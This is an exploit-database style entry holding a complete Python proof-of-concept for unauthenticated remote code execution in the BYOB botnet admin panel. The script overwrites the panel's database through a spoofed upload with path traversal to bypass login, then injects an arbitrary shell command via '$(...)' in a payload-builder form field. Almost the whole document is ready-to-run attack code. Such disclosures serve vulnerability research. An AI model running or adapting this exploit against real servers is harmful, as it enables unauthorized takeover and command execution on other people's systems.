# Exploit Title: BYOB (Build Your Own Botnet) v2.0.0 Unauthenticated RCE (Remote Code Execution) # Date: 2024-08-14 # Exploit Author: @_chebuya # Software Link: https://github.com/malwaredllc/byob # Version: v2.0.0 # Tested on: Ubuntu 22.04 LTS, Python 3.10.12, change numpy==1.17.3->numpy # CVE: CVE-2024-?????, CVE-2024-????? # Description: This exploit works by spoofing an agent callback to overwrite the sqlite database and bypass authentication, then exploiting an authenticated command injection in the payload builder page # Github: # Blog: import sys import json import base64 import string import random import argparse import requests from bs4 import BeautifulSoup def get_csrf(session, url): r = session.get(url) soup = BeautifulSoup(r.text, 'html.parser') csrf_token = soup.find('input', {'name': 'csrf_token'})['value'] return csrf_token def upload_database(session, url, filename): with open('database.db', 'rb') as f: bindata = f.read() data = base64.b64encode(bindata).decode('ascii') json_data = {'data': data, 'filename': filename, 'type': "txt", 'owner': "admin", "module": "icloud", "session": "lol"} headers = { 'Content-Length': str(len(json.dumps(json_data))) } print("[***] Uploading database") upload_response = session.post(f"{url}/api/file/add", data=json_data, headers=headers) print(upload_response.status_code) return upload_response.status_code def exploit(url, username, password, user_agent, command): s = requests.Session() # This is to ensure reliability, as the application cwd might change depending on the stage of the docker run process filepaths = ["/proc/self/cwd/buildyourownbotnet/database.db", "/proc/self/cwd/../buildyourownbotnet/database.db", "/proc/self/cwd/../../../../buildyourownbotnet/database.db", "/proc/self/cwd/instance/database.db", "/proc/self/cwd/../../../../instance/database.db", "/proc/self/cwd/../instance/database.db"] failed = True for filepath in filepaths: if upload_database(s, url, filepath) != 500: failed = False break if failed: print("[!!!] Failed to upload database, exiting") sys.exit(1) if password is None: password = ''.join([random.choice(string.ascii_uppercase + string.digits) for _ in range(32)]) print(username + ":" + password) register_csrf = get_csrf(s, f'{url}/register') headers = { 'User-Agent': user_agent, 'Content-Type': 'application/x-www-form-urlencoded', } data = { 'csrf_token': register_csrf, 'username': username, 'password': password, 'confirm_password': password, 'submit': 'Sign Up' } print("[***] Registering user ") regsiter_response = s.post(f'{url}/register', headers=headers, data=data) print(regsiter_response.status_code) login_csrf = get_csrf(s, f'{url}/login') data = { 'csrf_token': login_csrf, 'username': username, 'password': password, 'submit': 'Log In' } print("[***] Logging in") login_response = s.post(f'{url}/login', headers=headers, data=data) print(login_response.status_code) headers = { 'User-Agent': user_agent, 'Content-Type': 'application/x-www-form-urlencoded', } data = f'format=exe&operating_system=nix$({command})&architecture=amd64' try: s.post(f'{url}/api/payload/generate', headers=headers, data=data, stream=True, timeout=0.0000000000001) except requests.exceptions.ReadTimeout: pass parser = argparse.ArgumentParser() parser.add_argument("-t", "--target", help="The target URL of the BYOB admin panel", required=True) parser.add_argument("-u", "--username", help="The username to set for the new admin account", default='admin') parser.add_argument("-p", "--password", help="The password to set for the new admin account", default=None) parser.add_argument("-A", "--user-agent", help="The user-agent to use for requests", default='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36') parser.add_argument("-c", "--command", help="The command to execute on the BYOB server", required=True) args = parser.parse_args() exploit(args.target.rstrip("/"), args.username, args.password, args.user_agent, args.command)
{{ x.nick }}
| Date:{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1 {{ x.comment }} |